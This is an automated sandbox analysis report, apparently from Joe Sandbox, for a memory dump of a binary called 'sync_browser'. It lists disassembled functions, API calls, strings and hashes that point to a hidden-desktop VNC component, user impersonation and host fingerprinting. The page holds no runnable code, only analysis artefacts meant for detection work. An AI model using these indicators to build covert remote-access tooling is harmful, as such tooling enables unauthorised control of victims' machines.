Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Global$Clipboard$AvailableByteCharDataFormatLockMultiSizeUnlockWide$Open
String ID:
API String ID: 1939172783-0
Opcode ID: 0b3bb09cbdecdb7f57cc64d09ea6752ff0ca7fb8838ecbd0261cdb65b0b51056
Instruction ID: 0aff9de7bf33255f11aae7901925f02ff6fbfbf58aa39169b19ea90b7d2e5bb4
Opcode Fuzzy Hash: 0b3bb09cbdecdb7f57cc64d09ea6752ff0ca7fb8838ecbd0261cdb65b0b51056
Instruction Fuzzy Hash: 06815335A09B4A86E664BF22B92037AB3A0FF44F81B845135DE5D87795EF3CE424C712

Function 00007FF7E507A910 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 122COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32 ref: 00007FF7E507A93D
GetLastError.KERNEL32 ref: 00007FF7E507A947
SystemParametersInfoA.USER32 ref: 00007FF7E507A9AB
GetLastError.KERNEL32 ref: 00007FF7E507A9B5
SystemParametersInfoA.USER32 ref: 00007FF7E507AA16
GetLastError.KERNEL32 ref: 00007FF7E507AA20
SystemParametersInfoA.USER32 ref: 00007FF7E507AAB1
GetLastError.KERNEL32 ref: 00007FF7E507AABB
SystemParametersInfoA.USER32 ref: 00007FF7E507AB0D
GetLastError.KERNEL32 ref: 00007FF7E507AB17

Strings

HideDesktop.cpp : Failed to get SPI value for SPI_GETCLEARTYPE (0x%08x), xrefs: 00007FF7E507AA26
HideDesktop.cpp : Failed to set SPI value for SPI_SETCLEARTYPE (0x%08x), xrefs: 00007FF7E507AAC1
HideDesktop.cpp : Failed to get SPI value for SPI_GETFONTSMOOTHING (0x%08x), xrefs: 00007FF7E507A94D
HideDesktop.cpp : Failed to set SPI value for SPI_SETFONTSMOOTHING (0x%08x), xrefs: 00007FF7E507AB1D
HideDesktop.cpp : Failed to get SPI value for SPI_GETFONTSMOOTHINGTYPE (0x%08x), xrefs: 00007FF7E507A9BB
HideDesktop.cpp : Retrieved SPI value for SPI_GETFONTSMOOTHING: 0x%08x, xrefs: 00007FF7E507A97B
HideDesktop.cpp : Retrieved SPI value for SPI_GETFONTSMOOTHINGTYPE: 0x%08x, xrefs: 00007FF7E507A9E6
HideDesktop.cpp : Retrieved SPI value for SPI_GETCLEARTYPE: 0x%08x, xrefs: 00007FF7E507AA4D
HideDesktop.cpp : Set SPI value for SPI_SETCLEARTYPE: 0x%08x, xrefs: 00007FF7E507AAE1
HideDesktop.cpp : Set SPI value for SPI_SETFONTSMOOTHING: 0x%08x, xrefs: 00007FF7E507AB3F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorInfoLastParametersSystem
String ID: HideDesktop.cpp : Failed to get SPI value for SPI_GETCLEARTYPE (0x%08x)$HideDesktop.cpp : Failed to get SPI value for SPI_GETFONTSMOOTHING (0x%08x)$HideDesktop.cpp : Failed to get SPI value for SPI_GETFONTSMOOTHINGTYPE (0x%08x)$HideDesktop.cpp : Failed to set SPI value for SPI_SETCLEARTYPE (0x%08x)$HideDesktop.cpp : Failed to set SPI value for SPI_SETFONTSMOOTHING (0x%08x)$HideDesktop.cpp : Retrieved SPI value for SPI_GETCLEARTYPE: 0x%08x$HideDesktop.cpp : Retrieved SPI value for SPI_GETFONTSMOOTHING: 0x%08x$HideDesktop.cpp : Retrieved SPI value for SPI_GETFONTSMOOTHINGTYPE: 0x%08x$HideDesktop.cpp : Set SPI value for SPI_SETCLEARTYPE: 0x%08x$HideDesktop.cpp : Set SPI value for SPI_SETFONTSMOOTHING: 0x%08x
API String ID: 2777246624-1480653996
Opcode ID: 2f3f2611d4a2bfd02228de316762cf01d85ca1b5bfadb3604ef3ee04cef68530
Instruction ID: dc78872f71e1b3ae1cdd0c02643a961fd228a6000c1b9fa5ef9d1a6e3a8acc16
Opcode Fuzzy Hash: 2f3f2611d4a2bfd02228de316762cf01d85ca1b5bfadb3604ef3ee04cef68530
Instruction Fuzzy Hash: 3C511561E0858F95F720BB68B930BB5A7A1AF94B44FC45033E40DC25A9EE3CA519C373

Function 00007FF7E509C2C0 Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E509C326
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509C33B
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509C356

Strings

vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - WSLocked, xrefs: 00007FF7E509C3A7
vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - Call, xrefs: 00007FF7E509C2F4
vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - OpenProcessToken Error, xrefs: 00007FF7E509C43D
vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - currentUser = %s, xrefs: 00007FF7E509C3DC
g, xrefs: 00007FF7E509C31B
vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - 1, xrefs: 00007FF7E509C37E
vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - ImpersonateLoggedOnUser Failed, xrefs: 00007FF7E509C455

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter
String ID: g$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - 1$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - Call$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - ImpersonateLoggedOnUser Failed$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - OpenProcessToken Error$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - WSLocked$vncclient.cpp : %%%%%%%%%%%%% vncClient::DoFTUserImpersonation - currentUser = %s
API String ID: 2978645861-1267036565
Opcode ID: bdb4852c987baf4b60644aebab38a863e7ba7580bc742476bcdc9009847be20c
Instruction ID: 368fd7911ed5f3413f59dd642ffef68d789cf76b9c83bf2bcfb553d9453a3adc
Opcode Fuzzy Hash: bdb4852c987baf4b60644aebab38a863e7ba7580bc742476bcdc9009847be20c
Instruction Fuzzy Hash: C8515561A1C58A95F660BB25A8343FAA391FF85F51FC41033E94EC6298DE3DD405C762

Function 00007FF7E5098A70 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

CreateRectRgn.GDI32 ref: 00007FF7E5098BF6
CreateRectRgn.GDI32 ref: 00007FF7E5098C73
SetRectRgn.GDI32 ref: 00007FF7E5098C91
CombineRgn.GDI32 ref: 00007FF7E5098CA8
DeleteObject.GDI32 ref: 00007FF7E5098CB1
EnterCriticalSection.KERNEL32 ref: 00007FF7E5098D26
CombineRgn.GDI32 ref: 00007FF7E5098D42
SetEvent.KERNEL32 ref: 00007FF7E5098D73
SetEvent.KERNEL32 ref: 00007FF7E5098DA5
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5098DB7
DeleteObject.GDI32 ref: 00007FF7E5098DC3
free.LIBCMT ref: 00007FF7E5098CBA

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

GetRgnBox.GDI32 ref: 00007FF7E5098CCC
DeleteObject.GDI32 ref: 00007FF7E5098CF2
free.LIBCMT ref: 00007FF7E5098CFD
free.LIBCMT ref: 00007FF7E5098DCE

Strings

\, xrefs: 00007FF7E5098D1B
vncclient.cpp : FATAL! client update region is empty!, xrefs: 00007FF7E5098CD7

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteObjectRectfree$CombineCreateCriticalEventSection$EnterErrorFreeHeapLastLeave_errnomalloc
String ID: \$vncclient.cpp : FATAL! client update region is empty!
API String ID: 1264956880-3227535004
Opcode ID: 23a49fa5f1be814596b27dce1756cea377cd1ca12dee1e05d8a6d5d454cb436e
Instruction ID: cde0a119aff02111e618bd49156f6a7c0000289d4a3db8d7d7d3300b8ef9b7ab
Opcode Fuzzy Hash: 23a49fa5f1be814596b27dce1756cea377cd1ca12dee1e05d8a6d5d454cb436e
Instruction Fuzzy Hash: 09A10532614A9A8AD750EF1AE454B6AB7A8FBC8F90F415036EE4E83754DF3DD805CB10

Function 00007FF7E5077A1C Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 239COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
, (MSIL Processor), xrefs: 00007FF7E5077A2B
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (MSIL Processor)$Current user :
API String ID: 171970310-1756215141
Opcode ID: e292ff1ab8a2ec860fca5fdae839fd5dac6431b32c19bd64026a63d2d728b1e0
Instruction ID: 9e4a52e97373f608b08790c932a68ef852a09582b9d84ddcc330137be8b1f6c6
Opcode Fuzzy Hash: e292ff1ab8a2ec860fca5fdae839fd5dac6431b32c19bd64026a63d2d728b1e0
Instruction Fuzzy Hash: BDB18421A0868985E761AB3598203B977A0FB05BB0F804337E67EC39D9DF3CE515C361

Function 00007FF7E5077A5B Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 239COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
, (MIPS Processor), xrefs: 00007FF7E5077A6A
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (MIPS Processor)$Current user :
API String ID: 171970310-18614430
Opcode ID: 13559806fcd846485afb22cc621461796e5ecc486d2cf5f10f95b5e9e7543de7
Instruction ID: e2b502f9698e367d76532b399076fda02443964d0b20f55e462f27f6bdf5f50d
Opcode Fuzzy Hash: 13559806fcd846485afb22cc621461796e5ecc486d2cf5f10f95b5e9e7543de7
Instruction Fuzzy Hash: 99B18421A0868985E761AB35A8203B977A0FB05BB4F804337E67DC39D9DF3CE555C321

Function 00007FF7E5077A9A Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 237COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
, (ARM Processor), xrefs: 00007FF7E5077AA9
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (ARM Processor)$Current user :
API String ID: 171970310-978419383
Opcode ID: a8d8f491f9732d8cee92c56ad349269dc42da93c27ec5ad26cc636e7eff597dc
Instruction ID: 8bc26181780a19740332c9b6610feb7be0611139676a55bec6e23c209de62a95
Opcode Fuzzy Hash: a8d8f491f9732d8cee92c56ad349269dc42da93c27ec5ad26cc636e7eff597dc
Instruction Fuzzy Hash: 1DB18521A0868A85E761EB3598203B977A0FB04BB0F804337E67EC79D9DF38E515C321

Function 00007FF7E5077ACF Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 237COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
, (SHX Processor), xrefs: 00007FF7E5077ADE
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (SHX Processor)$Current user :
API String ID: 171970310-3227166451
Opcode ID: f87aec30509e434426b08c2f6c773820ec2921cd93d1ed894a2fb9928649058d
Instruction ID: c07862cc0c5e61241434e29a6e56362d288a2944172cde9f41bd87d030666f28
Opcode Fuzzy Hash: f87aec30509e434426b08c2f6c773820ec2921cd93d1ed894a2fb9928649058d
Instruction Fuzzy Hash: DCB18521A0868985E761EB3598203B977A0FB05BB0F804337E67EC79D9DF38E555C321

Function 00007FF7E5077B04 Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 237COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
, (Alpha Processor), xrefs: 00007FF7E5077B13
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$NameUser_errno_invalid_parameter_noinfo
String ID: ComputerName : $IP : $ Build:%d$ Service Pack: 6a$ v%d.$%02d$, (Alpha Processor)$Current user :
API String ID: 171970310-733379141
Opcode ID: fb41818708b430e62bf73831d052d0c4d926f05be827444239f89a711e28a3fb
Instruction ID: 6264ae0142e9abc46da50a26b1c972416681307278d698e8f3492d79331715eb
Opcode Fuzzy Hash: fb41818708b430e62bf73831d052d0c4d926f05be827444239f89a711e28a3fb
Instruction Fuzzy Hash: 2CB18521A0868A85E761EB3598213B977A0FB05BB4F804337E67EC79D9DF38E515C321

Function 00007FF7E50779E9 Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 237COMMON

Download Yara Rule

APIs

sprintf.LIBCMT ref: 00007FF7E5077C5B

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5077CC6
sprintf.LIBCMT ref: 00007FF7E5077D04
sprintf.LIBCMT ref: 00007FF7E5077D68
GetUserNameA.ADVAPI32 ref: 00007FF7E5077E9C

Strings

Service Pack: 6a, xrefs: 00007FF7E5077D5D
ComputerName : , xrefs: 00007FF7E5077F2C
IP : , xrefs: 00007FF7E5077FB9
Current user : , xrefs: 00007FF7E5077EA6
v%d., xrefs: 00007FF7E5077C50
%02d, xrefs: 00007FF7E5077CB3
, (Intel Processor), xrefs: 00007FF7E50779F8
Build:%d, xrefs: 00007FF7E5077CF9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

